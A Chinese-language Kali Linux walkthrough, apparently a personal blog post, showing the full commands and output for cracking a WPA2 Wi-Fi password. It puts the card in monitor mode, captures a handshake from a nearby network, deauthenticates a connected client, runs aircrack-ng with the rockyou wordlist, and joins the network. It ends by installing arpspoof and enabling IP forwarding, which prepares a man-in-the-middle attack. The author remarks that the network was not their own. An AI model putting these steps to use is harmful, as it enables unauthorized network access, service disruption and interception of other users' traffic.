暴力破解wifi密码尝试
打开网卡监听模式
root@kali:~/capture# airmon-ng
PHY Interface Driver Chipset
phy1 wlan0 rt2800usb Ralink Technology, Corp. RT2870/RT3070
root@kali:~/capture# airmon-ng start wlan0
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
702 NetworkManager
949 wpa_supplicant
PHY Interface Driver Chipset
phy1 wlan0 rt2800usb Ralink Technology, Corp. RT2870/RT3070
(mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon)
(mac80211 station mode vif disabled for [phy1]wlan0)监听设置结果
root@kali:~/capture# ifconfig
wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
unspec 00-0F-02-29-98-3D-30-3A-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 262 bytes 59606 (58.2 KiB)
RX errors 0 dropped 262 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0扫描wifi
root@kali:~/Downloads# airodump-ng wlan0mon
CH 3 ][ Elapsed: 1 min ][ 2019-11-15 18:09
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
06:05:88:09:5E:89 -44 35 0 0 11 130 OPN EWEB_WiFi
FC:53:9E:BA:BC:27 -45 55 1 0 6 180 WPA2 CCMP PSK MEIZU E3
06:05:88:09:5E:75 -46 39 0 0 6 130 OPN EWEB_WiFi
06:05:88:09:5E:91 -50 37 0 0 11 130 OPN EWEB_WiFi
F0:C8:50:53:DB:70 -50 46 0 0 11 65 WPA2 CCMP PSK shuaibi
06:05:88:09:5E:A9 -53 40 3 0 1 130 OPN EWEB_WiFi
24:69:68:CE:18:7A -54 28 17 0 1 405 WPA2 CCMP PSK TP-LINK_505
06:05:88:09:5E:79 -55 22 0 0 1 130 OPN EWEB_WiFi
36:69:68:CE:18:7A -56 29 0 0 1 405 WPA2 CCMP PSK TPGuest_187A
06:05:88:09:5E:7D -57 35 0 0 11 130 OPN EWEB_WiFi BSSID 为 wifi 的 MAC 地址，PWR 为信号强弱程度,#DATA 为数据量，越大使用的人就越多，CH 为信道频率（频道），ESSID 为 wifi 的名称，中文可能会有乱码
开启数据抓包
接着输入 airodump-ng --bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon
选取对象：F0:C8:50:53:DB:70 -50 46 0 0 11 65 WPA2 CCMP PSK shuaibi
root@kali:~# airodump-ng -c 11 --bssid F0:C8:50:53:DB:70 -w ~/capture/ wlan0mon
CH 11 ][ Elapsed: 1 min ][ 2019-11-15 18:38 ][ WPA handshake: F0:C8:50:53:DB:70
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F0:C8:50:53:DB:70 -47 89 638 64 0 11 65 WPA2 CCMP PSK shuaibi
BSSID STATION PWR Rate Lost Frames Probe
F0:C8:50:53:DB:70 00:5B:94:A0:B4:03 -56 1e- 1 0 2671 STATION: 该AP下的连接站
此处已经获取握手包
CH 11 ][ Elapsed: 1 min ][ 2019-11-15 18:38 ] [WPA handshake: F0:C8:50:53:DB:70
数据包已经正在抓取
强制用户断开wifi连接
root@kali:~/Downloads# aireplay-ng -0 10 -a F0:C8:50:53:DB:70 -c 00:5B:94:A0:B4:03 wlan0mon
18:37:58 Waiting for beacon frame (BSSID: F0:C8:50:53:DB:70) on channel 11
18:37:59 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 3|56 ACKs]
18:37:59 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 1|57 ACKs]
18:38:00 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 0|55 ACKs]
18:38:00 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 2|57 ACKs]
18:38:01 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 0|60 ACKs]
18:38:01 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 0|58 ACKs]
18:38:02 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 0|58 ACKs]
18:38:03 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 0|59 ACKs]
18:38:03 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 1|54 ACKs]
18:38:04 Sending 64 directed DeAuth (code 7). STMAC: [00:5B:94:A0:B4:03] [ 1|57 ACKs](0 WiFi 设备无限次数,-0 10 则攻击 10 次。攻击原理是：先让设备掉线，设备会再自动连接，并发这个自动连接过程会进行三次握手，会发送 tcp 包（里面包含加密的密码数据），我方伪装成 WiFi 热点去窃取该数据包。我方窃取后即可用字典穷举法暴力破解加密的 WiFi 密码,数据包里面的密码是哈希加密的，哈希加密只能正向)
cd 打开抓包的目录，ls 列出来，就看到我们抓到的数据包
root@kali:~# ll capture/
-rw-r--r-- 1 root root 1005912 11月 15 18:38 -01.cap #握手包
-rw-r--r-- 1 root root 477 11月 15 18:38 -01.csv #ap与连接点信息
-rw-r--r-- 1 root root 587 11月 15 18:38 -01.kismet.csv # csv格式显示ap站点信息
-rw-r--r-- 1 root root 2756 11月 15 18:38 -01.kismet.netxml # 同-01.kismet.csv
-rw-r--r-- 1 root root 402226 11月 15 18:38 -01.log.csv # log密码字典
- 解压 kali 自带的字典文件 路径：/usr/share/wordlists/rockyou.txt.gz
gzip -d/usr/share/wordlists/rockyou.txt.gz暴力破解
aircrack-ng -w /usr/share/wordlists/rockyou.txt ~/capture/-01.cap"此处破解wifi密码并非自己设置，实属不易！")
耐心等待密码破解吧…
后续
root@kali:/usr/shellare/wordlists# airmon-ng stop wlan0mon
PHY Interface Driver Chipset
phy1 wlan0mon rt2800usb Ralink Technology, Corp. RT2870/RT3070
(mac80211 station mode vif enabled on [phy1]wlan0)
(mac80211 monitor mode vif disabled for [phy1]wlan0mon)
root@kali:/usr/shellare/wordlists# ifconfig
eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 00:0f:02:29:98:3e txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0wifi连接测试
root@kali:~# iw dev wlan0 scan ssid shuaibi | grep SSID
SSID: EWEB_WiFi
SSID: 206
SSID: EWEB_WiFi
SSID: \xe2\x88\x9e
SSID: shuaibi
root@kali:~# wpa_passphrase "shuaibi" "12345678" | tee Documents/read/wifi暴力破解测试/shuaibi.wifi.conf
network={
ssid="shuaibi"
#psk="12345678"
psk=756c48293ab614daedef5bae261bf6001dca127fecbd44dfa9cc3066a2d8ce43
}
root@kali:~# wpa_supplicant -B -iwlan0 -c Documents/read/wifi暴力破解测试/shuaibi.wifi.conf && dhclient wlan0
Successfully initialized wpa_supplicant
RTNETLINK answers: File exists
root@kali:~# iw dev
phy#1
Interface wlan0
ifindex 6
wdev 0x100000003
addr 00:0f:02:29:98:3e
ssid shuaibi
type managed
channel 11 (2462 MHz), width: 20 MHz, center1: 2462 MHz
txpower 20.00 dBm连接配置文件详解参照
/usr/share/doc/wpasupplicant/examples/wpa_supplicant.conf
成功连接wifi后
apt-get install dsniff ssldump # 安装arpspoof...
echo 1 > /proc/sys/net/ipv4/ip_forward # 开启端口转发